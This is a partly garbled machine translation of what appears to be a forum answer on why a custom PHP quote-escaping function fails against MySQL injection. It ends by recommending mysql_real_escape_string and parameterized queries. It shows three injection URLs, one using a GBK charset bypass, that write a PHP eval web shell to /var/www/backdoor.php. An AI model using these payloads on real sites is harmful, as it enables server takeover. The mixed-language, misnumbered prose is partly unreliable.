如果你是just替换'
with ''
那么你可以通过注入一个来利用它\'
这将变成一个\''
这将允许你突破,因为这给你一个“字符文字”单引号和一个真正的单引号。然而,更换"\\"
with "\\\\"
否定本次攻击。双单引号用于“转义”MS-SQL 的单引号,但这不适合 MySQL,但它可以工作。
以下代码proves这个转义函数对所有人来说都是安全的,除了三个条件。此代码排列控制章程的所有可能变体,并测试每个变体以确保单引号括起来的 select 语句不会发生错误。此代码在 MySQL 5.1.41 上进行了测试。
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
脆弱条件 1:未使用引号。
mysql_query("select username from users where id=".escape($_GET['id']));
Exploit:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
脆弱情况2:使用双引号
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Exploit:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
脆弱情况2:使用单引号,但是使用替代字符集。 http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string.
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Exploit:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
结论是始终使用mysql_real_escape_string()
作为 MySQL 的转义例程。像 pdo 和 adodb 这样的参数化查询库总是使用mysql_real_escape_string()
当连接到 mysql 数据库时。addslashes()
is 好得多逃生程序的一部分,因为它照顾到脆弱的情况 2. 应该指出的是,即使mysql_real_escape_string()
将停止条件 1,但参数化查询库会停止。